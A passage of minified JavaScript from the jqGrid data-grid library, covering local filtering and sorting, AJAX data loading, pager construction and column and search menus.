r,i,o,a,n,l,s,d=0;if(!Ye.jgrid.isNull(t.groups)){for((i=t.groups.length&&"OR"===t.groupOp.toString().toUpperCase())&&f.orBegin(),r=0;r<t.groups.length;r++){0<d&&i&&f.or();try{e(t.groups[r])}catch(e){alert(e)}d++}i&&f.orEnd()}if(!Ye.jgrid.isNull(t.rules))try{for((s=t.rules.length&&"OR"===t.groupOp.toString().toUpperCase())&&f.orBegin(),r=0;r<t.rules.length;r++){if(a=t.rules[r],o=t.groupOp.toString().toUpperCase(),g[a.op]&&a.field){0<d&&o&&"OR"===o&&(f=f.or()),l=a.field,Q.p.useNameForSearch&&p.hasOwnProperty(a.field)&&(l=p[a.field].name);try{"date"===(n=p[a.field]).stype&&"string"==typeof n.srcfmt&&"string"==typeof n.newfmt&&(a.data=Ye.jgrid.parseDate.call(Q,n.newfmt,a.data,n.srcfmt)),f=g[a.op](f,o)(l,a.data,n)}catch(e){}}else void 0!==Q.p.customFilterDef&&void 0!==Q.p.customFilterDef[a.op]&&Ye.jgrid.isFunction(Q.p.customFilterDef[a.op].action)&&(f=f.user.call(Q,a.op,a.field,a.data));d++}s&&f.orEnd()}catch(e){alert(e)}}(m="string"==typeof m?Ye.jgrid.parse(m):m);else try{"date"===(y=p[Q.p.postData.searchField]).stype&&y.srcfmt&&y.newfmt&&y.srcfmt!==y.newfmt&&(Q.p.postData.searchString=Ye.jgrid.parseDate.call(Q,y.newfmt,Q.p.postData.searchString,y.srcfmt)),g[Q.p.postData.searchOper]?f=g[Q.p.postData.searchOper](f)(Q.p.postData.searchField,Q.p.postData.searchString,p[Q.p.postData.searchField]):void 0!==Q.p.customFilterDef&&void 0!==Q.p.customFilterDef[Q.p.postData.searchOper]&&Ye.jgrid.isFunction(Q.p.customFilterDef[Q.p.postData.searchOper].action)&&(f=f.user.call(Q,Q.p.postData.searchOper,Q.p.postData.searchField,Q.p.postData.searchString))}catch(e){}}if(Q.p.treeGrid&&"nested"===Q.p.treeGridModel&&f.orderBy(Q.p.treeReader.left_field,"asc","integer","",null),Q.p.treeGrid&&"adjacency"===Q.p.treeGridModel&&(d=0,o=null),Q.p.grouping)for(c=0;c<d;c++)f.orderBy(s[c],h.groupOrder[c],l[c].stype,l[c].srcfmt);Q.p.multiSort?Ye.each(o,function(e){f.orderBy(this,a[e],p[this].stype,p[this].srcfmt,p[this].sfunc)}):o&&Q.p.sortorder&&n&&("DESC"===Q.p.sortorder.toUpperCase()?f.orderBy(Q.p.sortname,"d",p[o].stype,p[o].srcfmt,p[o].sfunc):f.orderBy(Q.p.sortname,"a",p[o].stype,p[o].srcfmt,p[o].sfunc));var v=f.select(),j=parseInt(Q.p.rowNum,10),b=v.length,m=parseInt(Q.p.page,10),y=Math.ceil(b/j),w={};if((Q.p.search||Q.p.resetsearch)&&Q.p.grouping&&Q.p.groupingView._locgr){Q.p.groupingView.groups=[];var x,_,q,C=Ye.jgrid.getMethod("groupingPrepare");if(Q.p.footerrow&&Q.p.userDataOnFooter){for(_ in Q.p.userData)Q.p.userData.hasOwnProperty(_)&&(Q.p.userData[_]=0);q=!0}for(x=0;x<b;x++){if(q)for(_ in Q.p.userData)Q.p.userData.hasOwnProperty(_)&&(Q.p.userData[_]+=parseFloat(v[x][_]||0));C.call(Ye(Q),v[x],x,j)}}return e?v:(v=Q.p.treeGrid&&Q.p.search?Ye(Q).jqGrid("searchTree",v):v.slice((m-1)*j,m*j),p=f=null,w[Q.p.localReader.total]=y,w[Q.p.localReader.page]=m,w[Q.p.localReader.records]=b,w[Q.p.localReader.root]=v,w[Q.p.localReader.userdata]=Q.p.userData,v=null,w)}Ye(Q).jqGrid("SortTree",o,Q.p.sortorder,p[o].stype||"text",p[o].srcfmt||"")}},L=function(){Q.grid.hDiv.loading=!0,Q.p.hiddengrid||Ye(Q).jqGrid("progressBar",{method:"show",loadtype:Q.p.loadui,htmlcontent:Ye.jgrid.getRegional(Q,"defaults.loadtext",Q.p.loadtext)})},y=function(){Q.grid.hDiv.loading=!1,Ye(Q).jqGrid("progressBar",{method:"hide",loadtype:Q.p.loadui})},V=function(e,t,r){var i=void 0===(i=Ye(Q).triggerHandler("jqGridBeforeProcessing",[e,t,r]))||"boolean"!=typeof i||i;return i=Ye.jgrid.isFunction(Q.p.beforeProcessing)&&!1===Q.p.beforeProcessing.call(Q,e,t,r)?!1:i},W=function(e,t){Ye(Q).triggerHandler("jqGridLoadComplete",[e]),t&&Q.p.loadComplete.call(Q,e),Ye(Q).triggerHandler("jqGridAfterLoadComplete",[e]),Q.p.datatype="local",Q.p.datastr=null,y()},w=function(i){if(!Q.grid.hDiv.loading){var o,a=Q.p.scroll&&!1===i,e={},t=Q.p.prmNames,r=(X=0,Q.p.page<=0&&(Q.p.page=Math.min(1,Q.p.lastpage)),Ye.jgrid.isNull(t.search,!0)||(e[t.search]=Q.p.search),Ye.jgrid.isNull(t.nd,!0)||(e[t.nd]=(new Date).getTime()),Ye.jgrid.isNull(t.rows,!0)||(e[t.rows]=Q.p.rowNum),Ye.jgrid.isNull(t.page,!0)||(e[t.page]=Q.p.page),Ye.jgrid.isNull(t.sort,!0)||(e[t.sort]=Q.p.sortname),Ye.jgrid.isNull(t.order,!0)||(e[t.order]=Q.p.sortorder),Ye.jgrid.isNull(Q.p.rowTotal,!0)||Ye.jgrid.isNull(t.totalrows,!0)||(e[t.totalrows]=Q.p.rowTotal),Ye.jgrid.isFunction(Q.p.loadComplete)),n=r?Q.p.loadComplete:null,l=0;if(1<(i=i||1)?Ye.jgrid.isNull(t.npage,!0)?n=function(e){Q.p.page++,Q.grid.hDiv.loading=!1,r&&Q.p.loadComplete.call(Q,e),w(i-1)}:(e[t.npage]=i,l=i-1,i=1):Ye.jgrid.isNull(t.npage,!0)||delete Q.p.postData[t.npage],Q.p.grouping){Ye(Q).jqGrid("groupingSetup");for(var s=Q.p.groupingView,d=[],p=0;p<s.groupField.length;p++){var c=s.groupField[p];Ye.each(Q.p.colModel,function(e,t){t.name===c&&t.index&&(c=t.index)}),d.push(c+" "+s.groupOrder[p])}h=d.join(),""!==Ye.jgrid.trim(e[t.sort])?e[t.sort]=""!==h?h+" ,"+e[t.sort]:e[t.sort]:(e[t.sort]=h,e[t.order]=""),"local"!==Q.p.datatype||s._locgr||(Q.p.datatype="jsonstring",Q.p.datastr=Q.p.data)}Ye.extend(Q.p.postData,e);var u=Q.p.scroll?Q.rows.length-1:1;if(Ye.jgrid.isFunction(Q.p.datatype))Q.p.datatype.call(Q,Q.p.postData,"load_"+Q.p.id,u,i,l);else{var h=Ye(Q).triggerHandler("jqGridBeforeRequest");if(!1!==h&&"stop"!==h&&(!Ye.jgrid.isFunction(Q.p.beforeRequest)||!1!==(h=Q.p.beforeRequest.call(Q))&&"stop"!==h)){switch(Ye.jgrid.isFunction(Q.treeGrid_beforeRequest)&&Q.treeGrid_beforeRequest.call(Q),o=Q.p.datatype.toLowerCase()){case"json":case"jsonp":case"xml":case"script":Ye.ajax(Ye.extend({url:Q.p.url,type:Q.p.mtype,dataType:o,data:Ye.jgrid.isFunction(Q.p.serializeGridData)?Q.p.serializeGridData.call(Q,Q.p.postData):Q.p.postData,success:function(e,t,r){V(e,t,r)?(("xml"===o?E:z)(e,u,1<i,l),Ye(Q).triggerHandler("jqGridLoadComplete",[e]),n&&n.call(Q,e),Ye(Q).triggerHandler("jqGridAfterLoadComplete",[e]),a&&Q.grid.populateVisible(),Q.p.treeGrid_bigData?Q.p.loadonce&&(Q.p.datatype="local"):(Q.p.loadonce||Q.p.treeGrid)&&(Q.p.datatype="local"),e=null,1===i&&y(),Ye.jgrid.isFunction(Q.treeGrid_afterLoadComplete)&&Q.treeGrid_afterLoadComplete.call(Q)):y()},error:function(e,t,r){Ye(Q).triggerHandler("jqGridLoadError",[e,t,r]),Ye.jgrid.isFunction(Q.p.loadError)&&Q.p.loadError.call(Q,e,t,r),1===i&&y()},beforeSend:function(e,t){var r=!0,r=Ye(Q).triggerHandler("jqGridLoadBeforeSend",[e,t]);if(!1===(r=void 0===(r=Ye.jgrid.isFunction(Q.p.loadBeforeSend)?Q.p.loadBeforeSend.call(Q,e,t):r)?!0:r))return!1;L()}},Ye.jgrid.ajaxOptions,Q.p.ajaxGridOptions));break;case"xmlstring":if(L(),g="string"!=typeof Q.p.datastr?Q.p.datastr:Ye.parseXML(Q.p.datastr),!V(g,200,null))return void y();E(g),W(g,r);break;case"jsonstring":if(L(),g="string"==typeof Q.p.datastr?Ye.jgrid.parse(Q.p.datastr):Q.p.datastr,!V(g,200,null))return void y();z(g),Q.p.grouping&&Q.p.groupingView._locgr&&(Q.p.data=g),W(g,r);break;case"local":case"clientside":L(),Q.p.datatype="local",Q.p._ald=!0;var g=U(!1);if(!V(g,200,null))return void y();z(g,u,1<i,l),Ye(Q).triggerHandler("jqGridLoadComplete",[g]),n&&n.call(Q,g),Ye(Q).triggerHandler("jqGridAfterLoadComplete",[g]),a&&Q.grid.populateVisible(),y(),Q.p._ald=!1;break;case"indexeddb":if(!Q.p.dbconfig.ready_req)return;L(),H(!1).then(function(e){V(e,200,null)?(z(e,u,1<i,l),Ye(Q).triggerHandler("jqGridLoadComplete",[e]),n&&n.call(Q,e),Ye(Q).triggerHandler("jqGridAfterLoadComplete",[e]),a&&Q.grid.populateVisible(),y(),Q.p._ald=!1):y()})}Q.p._sort=!1}}}},se=function(e){Ye("#cb_"+Ye.jgrid.jqID(Q.p.id),Q.grid.hDiv)[Q.p.useProp?"prop":"attr"]("checked",e),(Q.p.frozenColumns?Q.p.id+"_frozen":"")&&Ye("#cb_"+Ye.jgrid.jqID(Q.p.id),Q.grid.fhDiv)[Q.p.useProp?"prop":"attr"]("checked",e)},de=function(e,l){function s(e,t){var r=Ye(Q).triggerHandler("jqGridPaging",[e,t]);return"stop"!==r&&"stop"!==(r=Ye.jgrid.isFunction(Q.p.onPaging)?Q.p.onPaging.call(Q,e,t):r)&&(Q.p.selrow=null,Q.p.multiselect&&(Q.p.preserveSelection||(Q.p.selarrrow=[]),se(!1)),Q.p.savedRow=[])}var t,r,i,o="<td class='ui-pg-button "+j+"'><span class='ui-separator'></span></td>",a="",n="<table class='ui-pg-table ui-common-table ui-paging-pager'><tbody><tr>",d="";if(l+="_"+e,t="pg_"+e,m=e+"_left",g=e+"_center",f=e+"_right",Ye("#"+Ye.jgrid.jqID(e)).append("<div id='"+t+"' class='ui-pager-control' role='group'><table "+K($,"pagerTable",!1,"ui-pg-table ui-common-table ui-pager-table")+"><tbody><tr><td id='"+m+"' align='left'></td><td id='"+g+"' align='center' style='white-space:pre;'></td><td id='"+f+"' align='right'></td></tr></tbody></table></div>").attr("dir",v),0<Q.p.rowList.length){var p,d='<td dir="'+v+'">';for(d+="<select "+K($,"pgSelectBox",!1,"ui-pg-selbox")+' size="1" name="pg_sel_box" role="listbox" title="'+(Ye.jgrid.getRegional(Q,"defaults.pgrecs",Q.p.pgrecs)||"")+'">',r=0;r<Q.p.rowList.length;r++)1===(p=Q.p.rowList[r].toString().split(":")).length&&(p[1]=p[0]),0==p[1].length?d+='<option role="option" value="'+p[0]+'"'+(J(Q.p.rowNum,0)===J(p[0],0)?' aria-label="'+p[1]+'" selected="selected"':"")+">"+p[1]+"</option>":d+='<option role="option" value="'+p[0]+'"'+(J(Q.p.rowNum,0)===J(p[0],0)?' selected="selected"':"")+">"+p[1]+"</option>";d+="</select></td>"}"rtl"===v&&(n+=d,Ye("#"+f).attr("align","left")),!0===Q.p.pginput&&(a="<td id='input"+l+"' dir='"+v+"'>"+Ye.jgrid.template(Ye.jgrid.getRegional(Q,"defaults.pgtext",Q.p.pgtext)||"","<input "+K($,"pgInput",!1,"ui-pg-input")+" type='text' size='2' maxlength='7' value='0' role='textbox' name='jqgpginput'/>","<span id='sp_1_"+Ye.jgrid.jqID(e)+"'></span>")+"</td>");var c,u,h,g,f,m=["first"+l,"prev"+l,"next"+l,"last"+l];!0===Q.p.pgbuttons?(g=K($,"pgButtonBox",!0,"ui-pg-button"),f=[Ye.jgrid.getRegional(Q,"defaults.pgfirst",Q.p.pgfirst)||"",Ye.jgrid.getRegional(Q,"defaults.pgprev",Q.p.pgprev)||"",Ye.jgrid.getRegional(Q,"defaults.pgnext",Q.p.pgnext)||"",Ye.jgrid.getRegional(Q,"defaults.pglast",Q.p.pglast)||""],"rtl"===v&&(m.reverse(),f.reverse()),c="<td id='"+m[0]+"' class='"+g+"' title='"+f[0]+"'><span "+K($,"icon_first",!1,I)+"></span></td>",u="<td id='"+m[1]+"' class='"+g+"' title='"+f[1]+"'><span "+K($,"icon_prev",!1,I)+"></span></td>",h="<td id='"+m[2]+"' class='"+g+"' title='"+f[2]+"'><span "+K($,"icon_next",!1,I)+"></span></td>",g="<td id='"+m[3]+"' class='"+g+"' title='"+f[3]+"'><span "+K($,"icon_end",!1,I)+"></span></td>",f=""!==a?o+a+o:"",n+="ltr"===v?c+u+f+h+g:g+h+f+u+c):""!==a&&(n+=a),"ltr"===v&&(n+=d),n+="</tr></tbody></table>",e=Ye.jgrid.jqID(e),t=Ye.jgrid.jqID(t),!0===Q.p.viewrecords&&Ye("td#"+e+"_"+Q.p.recordpos,"#"+t).append("<div dir='"+v+"' class='ui-paging-info'></div>"),Ye("td#"+e+"_"+Q.p.pagerpos,"#"+t).append(n),o=Ye("#gbox_"+Ye.jgrid.jqID(Q.p.id)).css("font-size")||"11px",Ye("#gbox_"+Ye.jgrid.jqID(Q.p.id)).append("<div id='testpg' "+K($,"entrieBox",!1,"ui-jqgrid")+" style='font-size:"+o+";visibility:hidden;' ></div>"),g=Ye(n).clone().appendTo("#testpg").width(),Ye("#testpg").remove(),0<g&&(""!==a&&(g+=50),i=g>Ye("td#"+e+"_"+Q.p.pagerpos,"#"+t).innerWidth(),Ye("td#"+e+"_"+Q.p.pagerpos,"#"+t).width(g)),Q.p._nvtd=[],Q.p._nvtd[0]=g?Math.floor((Q.p.width-g)/2):Math.floor(Q.p.width/3),Q.p._nvtd[1]=0,n=null,Ye(".ui-pg-selbox","#"+t).on("change",function(){return s("records",this)&&(Q.p.page=Math.round(Q.p.rowNum*(Q.p.page-1)/this.value-.5)+1,Q.p.rowNum=this.value,Q.p.pager&&Ye(".ui-pg-selbox",Q.p.pager).val(this.value),Q.p.toppager&&Ye(".ui-pg-selbox",Q.p.toppager).val(this.value),w()),!1}),!0===Q.p.pgbuttons&&(Ye(".ui-pg-button","#"+t).hover(function(){Ye(this).hasClass(j)?this.style.cursor="default":(Ye(this).addClass(C),this.style.cursor="pointer")},function(){Ye(this).hasClass(j)||(Ye(this).removeClass(C),this.style.cursor="default")}),Ye("#first"+Ye.jgrid.jqID(l)+", #prev"+Ye.jgrid.jqID(l)+", #next"+Ye.jgrid.jqID(l)+", #last"+Ye.jgrid.jqID(l)).click(function(){var e,t,r,i,o,a,n;return Ye(this).hasClass(j)||(e=J(Q.p.page,1),n=a=o=i=!(r=!1),0===(t=J(Q.p.lastpage,1))||1===t?n=a=o=i=!1:1<t&&1<=e?1===e?o=i=!1:e===t&&(n=a=!1):1<t&&0===e&&(n=a=!1,e=t-1),s(this.id.split("_")[0],this)&&(this.id==="first"+l&&i&&(Q.p.page=1,r=!0),this.id==="prev"+l&&o&&(Q.p.page=e-1,r=!0),this.id==="next"+l&&a&&(Q.p.page=e+1,r=!0),this.id==="last"+l&&n&&(Q.p.page=t,r=!0),r&&w(),Ye.jgrid.setSelNavIndex(Q,this))),!1})),!0===Q.p.pginput&&Ye("#"+t).on("keypress","input.ui-pg-input",function(e){return 13===(e.charCode||e.keyCode||0)?(e.preventDefault(),s("user",this)&&(Ye(this).val(J(Ye(this).val(),1)),Q.p.page=0<Ye(this).val()?Ye(this).val():Q.p.page,w()),!1):this}),i&&Q.p.responsive&&!Q.p.forcePgButtons&&(Ye("#"+m[0]+",#"+m[3]+",#input"+Ye.jgrid.jqID(l)).hide(),Ye(".ui-paging-info","td#"+e+"_"+Q.p.recordpos).hide(),Ye(".ui-pg-selbox","td#"+e+"_"+Q.p.pagerpos).hide())},pe=function(e,t,r){var i=Q.p.colModel,o=[],a="",i=(o.push(Q.grid.headers[e].el),Q.p.frozenColumns&&o.push(t),Ye("span.ui-grid-ico-sort",o).addClass(j),Ye(o).attr({"aria-selected":"false","aria-sort":"none"}),t=i[e].index||i[e].name,void 0===r?i[e].lso?"asc"===i[e].lso?(i[e].lso+="-desc",a="desc"):"desc"===i[e].lso?(i[e].lso+="-asc",a="asc"):"asc-desc"!==i[e].lso&&"desc-asc"!==i[e].lso||(i[e].lso=""):i[e].lso=a=i[e].firstsortorder||"asc":i[e].lso=a=r,a?(Ye("span.s-ico",o).show(),Ye("span.ui-icon-"+a,o).removeClass(j),Ye(o).attr({"aria-selected":"true","aria-sort":a+"ending"})):Q.p.viewsortcols[0]||Ye("span.s-ico",o).hide(),F.indexOf(t));-1===i?(F.push(t),G.push(a)):a?G[i]=a:(G.splice(i,1),F.splice(i,1)),Q.p.sortorder="",Q.p.sortname="";for(var n=0,l=F.length;n<l;n++)0<n&&(Q.p.sortname+=", "),Q.p.sortname+=F[n],n!==l-1&&(Q.p.sortname+=" "+G[n]);Q.p.sortorder=G[l-1]},ce=function(e,t,r,i,o){if(Q.p.colModel[t].sortable&&!(0<Q.p.savedRow.length)){if(r||(Q.p.lastsort===t&&""!==Q.p.sortname?"asc"===Q.p.sortorder?Q.p.sortorder="desc":"desc"===Q.p.sortorder&&(Q.p.sortorder="asc"):Q.p.sortorder=Q.p.colModel[t].firstsortorder||"asc",Q.p.page=1),Q.p.multiSort)pe(t,o,i);else{if(i){if(Q.p.lastsort===t&&Q.p.sortorder===i&&!r)return;Q.p.sortorder=i}var r=Q.grid.headers[Q.p.lastsort]?Q.grid.headers[Q.p.lastsort].el:null,i=Q.grid.headers[t].el,o=Q.p.frozenColumns?o:null,a="single"===Q.p.viewsortcols[1],n=Ye(r).find("span.ui-grid-ico-sort");n.addClass(j),a&&Ye(n).css("display","none"),Ye(r).attr({"aria-selected":"false","aria-sort":"none"}),Q.p.frozenColumns&&((n=Q.grid.fhDiv.find("span.ui-grid-ico-sort")).addClass(j),a&&n.css("display","none"),Q.grid.fhDiv.find("th").attr({"aria-selected":"false","aria-sort":"none"})),(n=Ye(i).find("span.ui-icon-"+Q.p.sortorder)).removeClass(j),a&&n.css("display",""),Ye(i).attr({"aria-selected":"true","aria-sort":Q.p.sortorder+"ending"}),Q.p.frozenColumns&&((n=Ye(o).find("span.ui-icon-"+Q.p.sortorder)).removeClass(j),a&&n.css("display",""),Ye(o).attr({"aria-selected":"true","aria-sort":Q.p.sortorder+"ending"})),Q.p.viewsortcols[0]||(Q.p.lastsort!==t?(Q.p.frozenColumns&&Q.grid.fhDiv.find("span.s-ico").hide(),Ye("span.s-ico",r).hide(),Ye("span.s-ico",i).show(),o&&Ye("span.s-ico",o).show()):""===Q.p.sortname&&Ye("span.s-ico",i).show()),e=e.substring(5+Q.p.id.length+1),Q.p.sortname=Q.p.colModel[t].index||e}("stop"===Ye(Q).triggerHandler("jqGridSortCol",[Q.p.sortname,t,Q.p.sortorder])||Ye.jgrid.isFunction(Q.p.onSortCol)&&"stop"===Q.p.onSortCol.call(Q,Q.p.sortname,t,Q.p.sortorder)||(se(!1),"local"===Q.p.datatype?Q.p.deselectAfterSort&&!Q.p.preserveSelection&&Ye(Q).jqGrid("resetSelection"):(Q.p.selrow=null,Q.p.multiselect&&!Q.p.preserveSelection&&(Q.p.selarrrow=[]),Q.p.savedRow=[]),Q.p.scroll&&(a=Q.grid.bDiv.scrollLeft,ae.call(Q,!0,!1),Q.grid.hDiv.scrollLeft=a),Q.p.subGrid&&"local"===Q.p.datatype&&Ye("td.sgexpanded","#"+Ye.jgrid.jqID(Q.p.id)).each(function(){Ye(this).trigger("click")}),Q.p._sort=!0,w(),Q.p.lastsort=t,Q.p.sortname!==e&&t))&&(Q.p.lastsort=t)}},ue=function(e){for(var t=Q.grid.headers,r=Ye.jgrid.getCellIndex(e),i=0;i<t.length;i++)if(e===t[i].el){r=i;break}return r},he=function(e,t,r,i){var o,a=Q.p.colModel,n=a.length,l=[],s=!0,d=[],p=Ye.extend([],Q.p.colNames),c=Ye.jgrid.styleUI[Q.p.styleUI||"jQueryUI"].common,u=Ye.jgrid.getRegional(Q,"colmenu"),h=[],g='<ul id="col_menu" class="ui-search-menu ui-col-menu modal-content '+c.shadow+'" role="menu" tabindex="0" style="left:'+t+'px;">';if(i.columns_selectAll&&(g+='<li class="ui-menu-item disabled" role="presentation" draggable="false"><a class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table" ><tr><td class="menu_icon" title="'+u.reorder+'"><span class="'+I+" "+D.icon_move+' notclick" style="visibility:hidden"></span></td><td class="menu_icon"><input id="chk_all" class="'+D.input_checkbox+'" type="checkbox" name="check_all"></td><td class="menu_text">Check/Uncheck</td></tr></table></a></li>'),Q.p.colSpanHeader.length)for(var f=0;f<Q.p.colSpanHeader.length;f++){var m,v=Q.p.colSpanHeader[f];0<=(m=Ye.jgrid.getElemByAttrVal(a,"name",v.startColumnName,!0))&&(h.push(m),p[m]=v.titleText)}if(Ye(Q).jqGrid("isGroupHeaderOn"))for(var c=Q.p.groupHeader.length,j=Q.p.groupHeader[c-1],b=0;b<p.length;b++)if(0<=(m=Ye.jgrid.inColumnHeader(a[b].name,j.groupHeaders))){p[b]=j.groupHeaders[m].titleText+"::"+p[b];for(var y=1;y<=j.groupHeaders[m].numberOfColumns-1;y++)p[b+y]=j.groupHeaders[m].titleText+"::"+p[b+y];b=b+j.groupHeaders[m].numberOfColumns-1}for(o=0;o<n;o++){var w,x=a[o].hidden?"":"checked",_=a[o].name,q=p[o];g+="<li "+(w="cb"===_||"subgrid"===_||"rn"===_||"sc"===_||a[o].hidedlg?"style='display:none'":"")+' class="ui-menu-item" role="presentation" draggable="true"><a class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table" ><tr><td class="menu_icon" title="'+u.reorder+'"><span class="'+I+" "+D.icon_move+' notclick"></span></td><td class="menu_icon"><input class="'+D.input_checkbox+' chk_selected" type="checkbox" name="'+_+'" '+x+'></td><td class="menu_text">'+q+"</td></tr></table></a></li>",l.push(o),w||d.push(_),s&&!x&&(s=!1)}g+="</ul>",Ye(r).append(g),Ye("#col_menu").addClass("ui-menu "+D.menu_widget),Ye("#chk_all","#col_menu").prop("checked",s),Ye.jgrid.isElementInViewport(Ye("#col_menu")[0])||Ye("#col_menu").css("left",-parseInt(Ye("#column_menu").innerWidth(),10)+"px"),Ye.fn.html5sortable()&&Ye("#col_menu").html5sortable({handle:"span",items:":not(.disabled)",forcePlaceholderSize:!0}).on("sortupdate",function(e,t){for(l.splice(t.startindex,1),l.splice(t.endindex,0,t.startindex),Ye(Q).jqGrid("destroyFrozenColumns"),Ye(Q).jqGrid("remapColumns",l,!0),Ye(Q).triggerHandler("jqGridColMenuColumnDone",[l,null,null]),Ye.jgrid.isFunction(Q.p.colMenuColumnDone)&&Q.p.colMenuColumnDone.call(Q,l,null,null),Ye(Q).jqGrid("setFrozenColumns"),o=0;o<n;o++)l[o]=o}),Ye("#col_menu > li > a").on("click",function(e){var t;Ye(e.target).hasClass("notclick")||(Ye(e.target).is(":input")?t=Ye(e.target).is(":checked"):(t=!Ye("input",this).is(":checked"),Ye("input",this).prop("checked",t)),"check_all"===(e=Ye("input",this).attr("name"))?t?(Ye("input","#col_menu").prop("checked",!0),Ye(Q).jqGrid("showCol",d)):(Ye("input","#col_menu").prop("checked",!1),Ye(Q).jqGrid("hideCol",d)):(Ye(Q).triggerHandler("jqGridColMenuColumnDone",[l,e,t]),Ye.jgrid.isFunction(Q.p.colMenuColumnDone)&&Q.p.colMenuColumnDone.call(Q,l,e,t),t?(Ye(Q).jqGrid("showCol",e),Ye(this).parent().attr("draggable","true")):(Ye(Q).jqGrid("hideCol",e),Ye(this).parent().attr("draggable","false")),i.columns_selectAll&&Ye("#chk_all","#col_menu").prop("checked",Ye(".chk_selected:checked","#col_menu").length===Ye(".chk_selected","#col_menu").length),Ye("#column_menu").remove()))}).hover(function(){Ye(this).addClass(C)},function(){Ye(this).removeClass(C)})},ge=function(e,t,r,i){var o,a,n,l,s,d,p=Q.p.colModel[e],c="",e="",u="",h="",g="",f="",m=Ye.jgrid.getRegional(Q,"search"),v=Ye.jgrid.styleUI[Q.p.styleUI||"jQueryUI"].common,j=Ye.jgrid.styleUI[b.styleUI||"jQueryUI"].modal;p&&((n=!(!Q.p.colFilters||!Q.p.colFilters[p.name])&&Q.p.colFilters[p.name])&&!Ye.isEmptyObject(n)&&(c=n.oper1,e=n.value1,u=n.rule,h=n.oper2,g=n.value2),p.searchoptions||(p.searchoptions={}),a=p.searchoptions.sopt||(-1!==Ye.inArray(p.sorttype,["text","string","blob"])?["eq","ne","bw","bn","ew","en","cn","nc","nu","nn","in","ni"]:["eq","ne","lt","le","gt","ge","nu","nn","in","ni"]),n=p.searchoptions.groupOps||m.groupOps,l=Ye("<form></form>"),s="<a id='bs_close' aria-label='Close'><span class='"+I+" "+j.icon_close+"'></span></a>",s=(s+="<div>"+Ye.jgrid.getRegional(Q,"colmenu.searchTitle")+"</div>")+'<div><select size="1" id="oper1" class="'+D.filter_select+'">',Ye.each(m.odata,function(e,t){o=t.oper===c?'selected="selected"':"",-1!==Ye.inArray(t.oper,a)&&(f+='<option value="'+t.oper+'" aria-label="'+t.text+'" '+o+">"+t.text+"</option>")}),s=s+f+"</select></div>",l.append(s),d="",p.searchoptions.defaultValue&&(d=Ye.jgrid.isFunction(p.searchoptions.defaultValue)?p.searchoptions.defaultValue.call(Q):p.searchoptions.defaultValue),e&&(d=e),j=Ye.extend(p.searchoptions,{name:p.index||p.name,id:"sval1_"+Q.p.idPrefix+p.name,oper:"search"}),e=Ye.jgrid.createEl.call(Q,p.stype,j,d,!1,Ye.extend({},Ye.jgrid.ajaxOptions,Q.p.ajaxSelectOptions||{})),Ye(e).addClass(D.filter_input),s=Ye("<div></div>").append(e),l.append(s),s='<div><select size="1" id="operand" class="'+D.filter_select+'">',Ye.each(n,function(e,t){o=t.op===u?'selected="selected"':"",s+="<option value='"+t.op+"' "+o+">"+t.text+"</option>"}),s+="</select></div>",l.append(s),f="",Ye.each(m.odata,function(e,t){o=t.oper===h?'selected="selected"':"",-1!==Ye.inArray(t.oper,a)&&(f+='<option value="'+t.oper+'" '+o+">"+t.text+"</option>")}),s='<div><select size="1" id="oper2" class="'+D.filter_select+'">'+f+"</select></div>",l.append(s),d=g||"",j=Ye.extend(p.searchoptions,{name:p.index||p.name,id:"sval2_"+Q.p.idPrefix+p.name,oper:"search"}),e=Ye.jgrid.createEl.call(Q,p.stype,j,d,!1,Ye.extend({},Ye.jgrid.ajaxOptions,Q.p.ajaxSelectOptions||{})),Ye(e).addClass(D.filter_input),s=Ye("<div></div>").append(e),l.append(s),s="<div>",s=(s+="<div class='search_buttons'><a tabindex='0' id='bs_reset' class='fm-button "+v.button+" ui-reset'>"+m.Reset+"</a></div>")+"<div class='search_buttons'><a tabindex='0' id='bs_search' class='fm-button "+v.button+" ui-search'>"+m.Find+"</a></div></div>",l.append(s),l=Ye('<li class="ui-menu-item" role="presentation"></li>').append(l),l=Ye('<ul id="search_menu" class="ui-search-menu modal-content '+v.shadow+'" role="menu" tabindex="0" style="left:'+r+'px;"></ul>').append(l),Ye(i).append(l),Ye("#search_menu").addClass("ui-menu "+D.menu_widget),Ye.jgrid.isElementInViewport(Ye("#search_menu")[0])||Ye("#search_menu").css("left",-parseInt(Ye("#column_menu").innerWidth(),10)+"px"),Ye("#bs_reset, #bs_search","#search_menu","#bs_close").hover(function(){Ye(this).addClass(C)},function(){Ye(this).removeClass(C)}),Ye("#bs_reset",l).on("click",function(e){Q.p.colFilters[p.name]={},!0===Q.p.mergeSearch&&Q.p.searchModules.hasOwnProperty("colMenuSearch")&&!1!==Q.p.searchModules.colMenuSearch?(Q.p.searchModules.colMenuSearch=fe(),Ye.extend(Q.p.postData,{filters:Ye.jgrid.splitSearch(Q.p.searchModules)}),Q.p.search=!0):(Q.p.postData.filters=fe(),Q.p.search=!1,Q.p.resetsearch=!0),d="",p.searchoptions.defaultValue&&(d=Ye.jgrid.isFunction(p.searchoptions.defaultValue)?p.searchoptions.defaultValue.call(Q):p.searchoptions.defaultValue),Ye("#sval1_"+Q.p.idPrefix+p.name,"#search_menu").val(d),Ye("#sval2_"+Q.p.idPrefix+p.name,"#search_menu").val(""),Ye.jgrid.isFunction(Q.p.colMenuBeforeProcess)&&Q.p.colMenuBeforeProcess.call(Q,{module:"filtering",action:"reset",column:p.name}),Ye(Q).trigger("reloadGrid")}),Ye("#bs_search",l).on("click",function(e){Q.p.colFilters[p.name]={oper1:Ye("#oper1","#search_menu").val(),value1:Ye("#sval1_"+Q.p.idPrefix+p.name,"#search_menu").val(),rule:Ye("#operand","#search_menu").val(),oper2:Ye("#oper2","#search_menu").val(),value2:Ye("#sval2_"+Q.p.idPrefix+p.name,"#search_menu").val()},!0===Q.p.mergeSearch&&Q.p.searchModules.hasOwnProperty("colMenuSearch")&&!1!==Q.p.searchModules.colMenuSearch?(Q.p.searchModules.colMenuSearch=fe(),Ye.extend(Q.p.postData,{filters:Ye.jgrid.splitSearch(Q.p.searchModules)})):Q.p.postData.filters=fe(),Q.p.search=!0,Ye.jgrid.isFunction(Q.p.colMenuBeforeProcess)&&Q.p.colMenuBeforeProcess.call(Q,{module:"filtering",action:"search",column:p.name}),Ye(Q).trigger("reloadGrid"),Ye("#column_menu").remove()}),Ye("#bs_close",l).on("click",function(){Ye("#column_menu").remove()}))},fe=function(){var e,t="",r=0;for(e in 